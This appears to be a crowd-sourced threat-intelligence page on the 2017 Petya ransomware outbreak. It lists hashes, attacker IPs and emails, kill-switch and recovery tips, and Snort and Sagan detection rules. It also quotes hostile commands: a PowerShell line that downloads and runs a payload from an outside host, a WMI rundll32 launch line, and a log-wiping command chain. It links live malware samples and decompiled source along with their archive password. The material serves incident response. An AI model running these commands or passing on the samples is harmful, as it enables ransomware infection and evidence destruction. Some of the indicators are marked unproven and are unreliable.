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#petya #petrWrap
Win32/Diskcoder.Petya.C
Ransomware attack.
Got new info? Email at isox@vulners.com
"it appeared to encrypt a selection of files (PDF and RTF) on two test machines prior to rebooting and encrypting parts of the MFT." - waiting for the details and PoC
*********** KILLSWITCH // PARTIAL? GOT PROOF - EMAIL!
Looks like if you block C:\Windows\perfc.dat from writing/executing - stops #Petya. Is used for rundll32 import.
https://twitter.com/HackingDave/status/879779361364357121
Local kill switch - create file "C:\Windows\perfc"
It kills WMI vector. Still need to patch MS17-010 for full protection.
Amit Serper (amit@cybereason.com)
https://twitter.com/0xAmit/status/879764284020064256
Positive Technologies
https://twitter.com/ptsecurity/status/879766638731591680
*********** Ransom
Infected with #Petya? DON'T PAY RANSOM, You wouldn't get your files back. Email used by criminals has been Suspended.
https://posteo.de/blog/info-zur-ransomware-petrwrappetya-betroffenes-postfach-bereits-seit-mittag-gesperrt
*********** Bitcoin wallet monitoring
https://blockchain.info/address/1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX
*********** Samples:
https://yadi.sk/d/QT0l_AYg3KXCqc
https://yadi.sk/d/S0-ZhPY53KWc84
https://yadi.sk/d/Zpkm88sp3KWc8v
https://yadi.sk/d/WemMDKVy3KXPcy
Archive password: virus
*********** Source code:
Archive password: virus
-- svchost.exe:
https://yadi.sk/d/TsNv7OGW3KXvmS // Thanks to the @Sn0wFX_
-- 027cc450ef5f8c5f653329641ec1fed9.exe in pseudocode:
https://transfer.sh/m9JMB/027cc450ef5f8c5f653329641ec1fed9.txt
-- RTF payload data:
https://transfer.sh/mCshn/data.txt
*********** Initial vector:
Ukraine «М.Е. Doc» software
http://blog.antiphish.ru/all/petya-iiv/
*********** Ransomware includes:
Modified EternalBlue exploit
A vulnerability in a third-party Ukrainian software product
A second SMB network exploit
*********** Origin (NO PROOF):
Petya was known to be RaaS (Ransomware-as-a-Service), selling on Tor hidden services. Looks like WannaCry copycat. Attribution will be hard.
https://twitter.com/x0rz/status/879733138792099842
*********** Vulnerabilities/Vectors/Actions:
MS17-010: https://vulners.com/search?query=ms17-010%20order:published
PSEXEC: %PROGRAMDATA%\dllhost.dat is dropped and is legit PSEXEC bin
Remote WMI, “process call create \"C:\\Windows\\System32\\rundll32.exe \\\"C:\\Windows\\perfc.dat\\\" #1”
Log clean, «wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D %c:»
Creates a scheduled task that reboots 1 hour after infection. If task removed before the hour, does not reschedule and can buy time
*********** Possible IP addresses:
185.165.29.78
84.200.16.242
111.90.139.247
95.141.115.108
*********** Email:
wowsmith123456@posteo.net
iva76y3pr@outlook.com // by WhiteWolfCyber
carmellar4hegp@outlook.com // by WhiteWolfCyber
amanda44i8sq@outlook.com // by WhiteWolfCyber
*********** Malware dropped file:
http://185.165.29.78/~alex/svchost.exe
*********** Droppers sent via email by WhiteWolfCyber:
9B853B8FE232B8DED38355513CFD4F30
CBB9927813FA027AC12D7388720D4771
22053C34DCD54A5E3C2C9344AB47349A702B8CFDB5796F876AEE1B075A670926
1FE78C7159DBCB3F59FF8D410BD9191868DEA1B01EE3ECCD82BCC34A416895B5
EEF090314FBEC77B20E2470A8318FC288B2DE19A23D069FE049F0D519D901B95
*********** Analysis:
https://virustotal.com/fr/file/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745/analysis/
https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100
https://www.hybrid-analysis.com/sample/fe2e5d0543b4c8769e401ec216d78a5a3547dfd426fd47e097df04a5f7d6d206?environmentId=100
https://www.hybrid-analysis.com/sample/ee29b9c01318a1e23836b949942db14d4811246fdae2f41df9f0dcd922c63bc6?environmentId=100
https://twitter.com/PolarToffee/status/879709615675641856
*********** Hashes by codexgigas team:
For 185.165.29.78, we have:
a809a63bc5e31670ff117d838522dec433f74bee
bec678164cedea578a7aff4589018fa41551c27f
d5bf3f100e7dbcc434d7c58ebf64052329a60fc2
aba7aa41057c8a6b184ba5776c20f7e8fc97c657
0ff07caedad54c9b65e5873ac2d81b3126754aac
51eafbb626103765d3aedfd098b94d0e77de1196
078de2dc59ce59f503c63bd61f1ef8353dc7cf5f
As droppers
And for 84.200.16.242:
7ca37b86f4acc702f108449c391dd2485b5ca18c
2bc182f04b935c7e358ed9c9e6df09ae6af47168
1b83c00143a1bb2bf16b46c01f36d53fb66f82b5
82920a2ad0138a2a8efc744ae5849c6dde6b435d
*********** Targeted extensions by @GasGeverij
.3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ctl.dbf.disk.djvu.doc.docx.dwg.eml.fdb.gz.h.hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.ovf.pdf.php.pmf.ppt.pptx.pst.pvi.py.pyc.rar.rtf.sln.sql.tar.vbox.vbs.vcb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsdx.vsv.work.xls.xlsx.xvd.zip.
*********** Potential (IOC) (No proof!!!) by Ukraine researchers, received 27th morning
- - - - - - - - - - - - - - - - - - - - - - - -
File Name Order-20062017.doc (RTF із CVE-2017-0199)
MD5 Hash Identifier 415FE69BF32634CA98FA07633F4118E1
SHA-1 Hash Identifier 101CC1CB56C407D5B9149F2C3B8523350D23BA84
SHA-256 Hash Identifier FE2E5D0543B4C8769E401EC216D78A5A3547DFD426FD47E097DF04A5F7D6D206
File Size 6215 bytes
File Type Rich Text Format data
Connects to the host:
84.200.16.242 80
h11p://84.200.16.242/myguy.xls
File Name myguy.xls
MD5 Hash Identifier 0487382A4DAF8EB9660F1C67E30F8B25
SHA-1 Hash Identifier 736752744122A0B5EE4B95DDAD634DD225DC0F73
SHA-256 Hash Identifier EE29B9C01318A1E23836B949942DB14D4811246FDAE2F41DF9F0DCD922C63BC6
File Size 13893 bytes
File Type Zip archive data
mshta.exe %WINDIR%\System32\mshta.exe" "C:\myguy.xls.hta" " (PID: 2324)
powershell.exe -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('h11p://french-cooking.com/myguy.exe', '%APPDATA%\10807.exe');" (PID: 2588, Additional Context: ( System.Net.WebClient).DownloadFile('h11p://french-cooking.com/myguy.exe', '%APPDATA%\10807.exe') ;)
10807.exe %APPDATA%\10807.exe" " (PID: 3096)
File Name BCA9D6.exe
MD5 Hash Identifier A1D5895F85751DFE67D19CCCB51B051A
SHA-1 Hash Identifier 9288FB8E96D419586FC8C595DD95353D48E8A060
SHA-256 Hash Identifier 17DACEDB6F0379A65160D73C0AE3AA1F03465AE75CB6AE754C7DCB3017AF1FBD
File Size 275968 bytes
!!!! Unproofed
Connects to the host:
111.90.139.247 80
COFFEINOFFICE.XYZ 80
Pay attention - the trojan on which I give the markers could potentially be used to load the encryption part.
*********** IOС by Informzachita (infosec.ru)
type,value,comment,to_ids,date
Payload delivery,md5,"71b6a493388e7d0b40c83ce903bc6b04","",1,20170627
Payload delivery,sha256,"027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745","",1,20170627
Payload delivery,sha256,"64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1","https://otx.alienvault.com/pulse/59525e7a95270e240c055ead/",1,20170627
Payload delivery,sha1,"34f917aaba5684fbe56d3c57d48ef2a1aa7cf06d","",1,20170627
Payload delivery,malware-sample,"027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745.bin|71b6a493388e7d0b40c83ce903bc6b04","Petya sample",1,20170627
Payload delivery,filename|sha1,"027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745.bin|34f917aaba5684fbe56d3c57d48ef2a1aa7cf06d","Petya sample",1,20170627
Payload delivery,filename|sha256,"027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745.bin|027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745","Petya sample",1,20170627
Payload delivery,filename|md5,"Order-20062017.doc|415fe69bf32634ca98fa07633f4118e1","delivery",0,20170627
Payload delivery,filename|sha1,"Order-20062017.doc|101cc1cb56c407d5b9149f2c3b8523350d23ba84","delivery",1,20170627
Payload delivery,filename|sha256,"Order-20062017.doc|fe2e5d0543b4c8769e401ec216d78a5a3547dfd426fd47e097df04a5f7d6d206","delivery",1,20170627
Payload delivery,vulnerability,"CVE-2017-0199","Order-20062017.doc",0,20170627
Payload delivery,filename|md5,"myguy.xls|0487382a4daf8eb9660f1c67e30f8b25","",1,20170627
Payload delivery,filename|sha256,"myguy.xls|ee29b9c01318a1e23836b949942db14d4811246fdae2f41df9f0dcd922c63bc6","",1,20170627
Payload delivery,sha1,"a809a63bc5e31670ff117d838522dec433f74bee","droppers",1,20170627
Payload delivery,sha1,"d5bf3f100e7dbcc434d7c58ebf64052329a60fc2","droppers",1,20170627
Payload delivery,sha1,"aba7aa41057c8a6b184ba5776c20f7e8fc97c657","droppers",1,20170627
Payload delivery,sha1,"bec678164cedea578a7aff4589018fa41551c27f","droppers",1,20170627
Payload delivery,sha1,"078de2dc59ce59f503c63bd61f1ef8353dc7cf5f","droppers",1,20170627
Payload delivery,sha1,"0ff07caedad54c9b65e5873ac2d81b3126754aac","droppers",1,20170627
Payload delivery,sha1,"51eafbb626103765d3aedfd098b94d0e77de1196","droppers",1,20170627
Payload delivery,sha1,"82920a2ad0138a2a8efc744ae5849c6dde6b435d","droppers",1,20170627
Payload delivery,sha1,"1b83c00143a1bb2bf16b46c01f36d53fb66f82b5","droppers",1,20170627
Payload delivery,sha1,"7ca37b86f4acc702f108449c391dd2485b5ca18c","droppers",1,20170627
Payload delivery,sha1,"2bc182f04b935c7e358ed9c9e6df09ae6af47168","droppers",1,20170627
Payload delivery,filename|md5,"BCA9D6.exe|a1d5895f85751dfe67d19cccb51b051a","",1,20170627
Payload delivery,filename|sha1,"BCA9D6.EXE|9288fb8e96d419586fc8c595dd95353d48e8a060","",1,20170627
Payload delivery,filename|sha256,"BCA9D6.exe|17dacedb6f0379a65160d73c0ae3aa1f03465ae75cb6ae754c7dcb3017af1fbd","",1,20170627
Payload installation,filename|sha1,"myguy.xls|736752744122a0b5ee4b95ddad634dd225dc0f73","",1,20170627
Payload delivery,filename,"dllhost.dat","",1,20170627
External analysis,filename|sha1,"myguy.exe|9288fb8e96d419586fc8c595dd95353d48e8a060","",1,20170627
External analysis,filename|sha256,"myguy.exe|17dacedb6f0379a65160d73c0ae3aa1f03465ae75cb6ae754c7dcb3017af1fbd","",1,20170627
External analysis,malware-sample,"myguy.exe|a1d5895f85751dfe67d19cccb51b051a","",1,20170627
External analysis,malware-sample,"svchost.exe|d2ec63b63e88ece47fbaab1ca22da1ef","possible sample",1,20170627
External analysis,filename|sha256,"svchost.exe|e5c643f1d8ecc0fd739d0bbe4a1c6c7de2601d86ab0fff74fd89c40908654be5","possible sample",1,20170627
External analysis,filename|sha1,"svchost.exe|dd52fcc042a44a2af9e43c15a8e520b54128cdc8","possible sample",1,20170627
Network activity,url,"http://185.165.29.78/~alex/svchost.exe","",1,20170627
Network activity,url,"http://84.200.16.242/myguy.xls","",1,20170627
Network activity,ip-dst|port,"84.200.16.242|80","Order-20062017.doc",1,20170627
Network activity,email-dst,"wowsmith123456@posteo.net","",1,20170627
Network activity,url,"http://french-cooking.com/myguy.exe","",1,20170627
Network activity,ip-dst|port,"111.90.139.247|80","",1,20170627
Network activity,domain,"coffeinoffice.xyz","",1,20170627
Network activity,ip-dst,"95.141.115.108","https://twitter.com/JC_DiazGarcia/status/879719578171060228",1,20170627
Network activity,ip-dst,"84.200.16.242","https://twitter.com/JC_DiazGarcia/status/879719578171060228",1,20170627
Network activity,ip-dst,"111.90.139.247","https://twitter.com/JC_DiazGarcia/status/879719578171060228",1,20170627
Network activity,ip-dst,"185.165.29.78","https://twitter.com/JC_DiazGarcia/status/879719578171060228",1,20170627
Artifacts dropped,filename,"%WINDIR%\perfc.dat","",1,20170627
Artifacts dropped,filename,"C:\myguy.xls.hta","",1,20170627
Artifacts dropped,filename,"%APPDATA%\10807.exe","",1,20170627
Financial fraud,btc,"1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX","",0,20170627
External analysis,vulnerability,"CVE-2017-0144","",0,20170627
External analysis,comment,"attack-vector:phishing","",0,20170627
*********** SNORT rules for the detection by Positive Technologies (ptsecurity.com):
alert tcp any any -> $HOME_NET 445 (msg: "[PT Open] Unimplemented Trans2 Sub-Command code. Possible ETERNALBLUE (WannaCry, Petya) tool"; flow: to_server, established; content: "|FF|SMB2|00 00 00 00|"; depth: 9; offset: 4; byte_test: 2, >, 0x0008, 52, relative, little; pcre: "/\xFFSMB2\x00\x00\x00\x00.{52}(?:\x04|\x09|\x0A|\x0B|\x0C|\x0E|\x11)\x00/"; flowbits: set, SMB.Trans2.SubCommand.Unimplemented; reference: url, msdn.microsoft.com/en-us/library/ee441654.aspx; classtype: attempted-admin; sid: 10001254; rev: 2;)
alert tcp any any -> $HOME_NET 445 (msg: "[PT Open] ETERNALBLUE (WannaCry, Petya) SMB MS Windows RCE"; flow: to_server, established; content: "|FF|SMB3|00 00 00 00|"; depth: 9; offset: 4; flowbits: isset, SMB.Trans2.SubCommand.Unimplemented.Code0E; threshold: type limit, track by_src, seconds 60, count 1; reference: cve, 2017-0144; classtype: attempted-admin; sid: 10001255; rev: 3;)
alert tcp any any -> $HOME_NET 445 (msg: "[PT Open] Trans2 Sub-Command 0x0E. Likely ETERNALBLUE (WannaCry, Petya) tool"; flow: to_server, established; content: "|FF|SMB2|00 00 00 00|"; depth: 9; offset: 4; content: "|0E 00|"; distance: 52; within: 2; flowbits: set, SMB.Trans2.SubCommand.Unimplemented.Code0E; reference: url, msdn.microsoft.com/en-us/library/ee441654.aspx; classtype: attempted-admin; sid: 10001256; rev: 2;)
alert tcp any any -> $HOME_NET 445 (msg: "[PT Open] Petya ransomware perfc.dat component"; flow: to_server, established, no_stream; content: "|fe 53 4d 42|"; offset: 4; depth: 4; content: "|05 00|"; offset: 16; depth: 2; byte_jump: 2, 112, little, from_beginning, post_offset 4; content: "|70 00 65 00 72 00 66 00 63 00 2e 00 64 00 61 00 74 00|"; distance:0; classtype:suspicious-filename-detect; sid: 10001443; rev: 1;)
alert tcp any any -> $HOME_NET 445 (msg:"[PT Open] SMB2 Create PSEXESVC.EXE"; flow:to_server, established, no_stream; content: "|fe 53 4d 42|"; offset: 4; depth: 4; content: "|05 00|"; offset: 16; depth: 2; byte_jump: 2, 112, little, from_beginning, post_offset 4; content:"|50 00 53 00 45 00 58 00 45 00 53 00 56 00 43 00 2e 00 45 00 58 00 45|"; distance:0; classtype:suspicious-filename-detect; sid: 10001444; rev:1;)
*********** Has sysinternal utilities signature
https://twitter.com/ppeepuppy/status/879706271535972353
*********** Uses the The GetExtendedTcpTable function to get a list of available endpoints
https://twitter.com/pjcampbe11/status/879709929073979392
*********** List of extensions targeted
https://twitter.com/MrCarlMcDade/status/879706580127809536
*********** Indicates possible usage of PSEXEC, on windows that means the admin$ and c$ shares.
https://twitter.com/rikvduijn/status/879726410201526272
*********** It is confirmed that the sample 027cc... contains PSEXEC:
https://twitter.com/NVISO_Labs/status/879724733696274432
*********** Friends in Ukraine are telling me this helps to recover from Petya (untested):
https://twitter.com/msuiche/status/879722894997278720
bootrec /RebuildBcd
bootrec /fixMbr
bootrec /fixboot
*********** Fix suggest by @MrAdz350
If you can boot to a Windows ISO prior to Frist reboot you can use bootrec tool to prevent MBR overwriting as per https://neosmart.net/wiki/fix-mbr
*********** Petya— Enhanced WannaCry? What we know so far.
https://blog.comae.io/byata-enhanced-wannacry-a3ddd6c8dabb
*********** Found evidences of post kernel exploitation too: IA32_SYSENTER_EIP after decoding kernel shellcode
https://twitter.com/msuiche/status/879713211368525824
*********** #Petya uses long #sleep functions: if infected you have 30-40 mins to turn off your computer to save it from ransom.
https://twitter.com/GroupIB_GIB/status/879736598535032832
*********** #Petya uses LSADump to get Admin password and infect all network. There is no need for #EternalBlue vulnerable PCs.
https://twitter.com/GroupIB_GIB/status/879772068300165120
*********** Sagan log analysis rules for the detection by Quadrant Information Security (quadrantsec.com) - Note: These are NOT Snort/Suricata rules! See http://sagan.io for more details:
alert any $EXTERNAL_NET any -> $HOME_NET any (msg: "[WINDOWS-MALWARE] Petya payload delivery SHA256 hash detected - Open source"; meta_content: "%sagan%",64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1,027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745,027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745,64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1,027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745,fe2e5d0543b4c8769e401ec216d78a5a3547dfd426fd47e097df04a5f7d6d206,ee29b9c01318a1e23836b949942db14d4811246fdae2f41df9f0dcd922c63bc6,17dacedb6f0379a65160d73c0ae3aa1f03465ae75cb6ae754c7dcb3017af1fbd,17dacedb6f0379a65160d73c0ae3aa1f03465ae75cb6ae754c7dcb3017af1fbd,e5c643f1d8ecc0fd739d0bbe4a1c6c7de2601d86ab0fff74fd89c40908654be5; meta_nocase; classtype: trojan-activity; reference: url,gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759; reference: url,isc.sans.edu/forums/diary/Widescale+Petya+variant+ransomware+attack+noted/22560/; sid:5003121; rev:1;)
alert any $EXTERNAL_NET any -> $HOME_NET any (msg: "[WINDOWS-MALWARE] Petya payload delivery SHA1 hash detected - Open source"; meta_content: "%sagan%",34f917aaba5684fbe56d3c57d48ef2a1aa7cf06d,027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745,101cc1cb56c407d5b9149f2c3b8523350d23ba84,a809a63bc5e31670ff117d838522dec433f74bee,d5bf3f100e7dbcc434d7c58ebf64052329a60fc2,aba7aa41057c8a6b184ba5776c20f7e8fc97c657,bec678164cedea578a7aff4589018fa41551c27f,078de2dc59ce59f503c63bd61f1ef8353dc7cf5f,0ff07caedad54c9b65e5873ac2d81b3126754aac,51eafbb626103765d3aedfd098b94d0e77de1196,82920a2ad0138a2a8efc744ae5849c6dde6b435d,1b83c00143a1bb2bf16b46c01f36d53fb66f82b5,7ca37b86f4acc702f108449c391dd2485b5ca18c,2bc182f04b935c7e358ed9c9e6df09ae6af47168,9288fb8e96d419586fc8c595dd95353d48e8a060,736752744122a0b5e
e4b95ddad634dd225dc0f73,9288fb8e96d419586fc8c595dd95353d48e8a060,dd52fcc042a44a2af9e43c15a8e520b54128
cdc8; meta_nocase; classtype: trojan-activity; reference: url,gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759; reference: url,isc.sans.edu/forums/diary/Widescale+Petya+variant+ransomware+attack+noted/22560/; sid:5003122; rev:1;)
alert any $EXTERNAL_NET any -> $HOME_NET any (msg: "[WINDOWS-MALWARE] Petya payload delivery MD5 hash detected - Open source"; meta_content: "%sagan%",71b6a493388e7d0b40c83ce903bc6b04,415fe69bf32634ca98fa07633f4118e1,0487382a4daf8eb9660f1c67e30f8b25,a1d5895f85751dfe67d19cccb51b051a; meta_nocase; classtype: trojan-activity; reference: url,gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759; reference: url,isc.sans.edu/forums/diary/Widescale+Petya+variant+ransomware+attack+noted/22560/; sid:5003123; rev:1;)
alert any $EXTERNAL_NET any -> $HOME_NET any (msg: "[WINDOWS-MALWARE] Petya detected by filename - Open source"; meta_content: "%sagan%",myguy.xls,myguy.exe,BCA9D6.EXE,Order-20062017.doc,myguy.xls.hta; meta_nocase; classtype: trojan-activity; reference: url,gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759; reference: url,isc.sans.edu/forums/diary/Widescale+Petya+variant+ransomware+attack+noted/22560/; sid:5003124; rev:1;)
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